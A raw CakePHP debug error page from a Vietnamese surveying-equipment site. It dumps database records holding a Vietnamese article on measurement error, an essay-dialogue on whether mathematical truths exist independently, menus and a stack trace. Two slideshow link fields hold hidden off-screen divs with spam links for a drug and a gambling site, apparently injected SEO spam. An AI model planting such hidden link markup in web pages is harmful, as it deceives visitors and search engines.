bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết 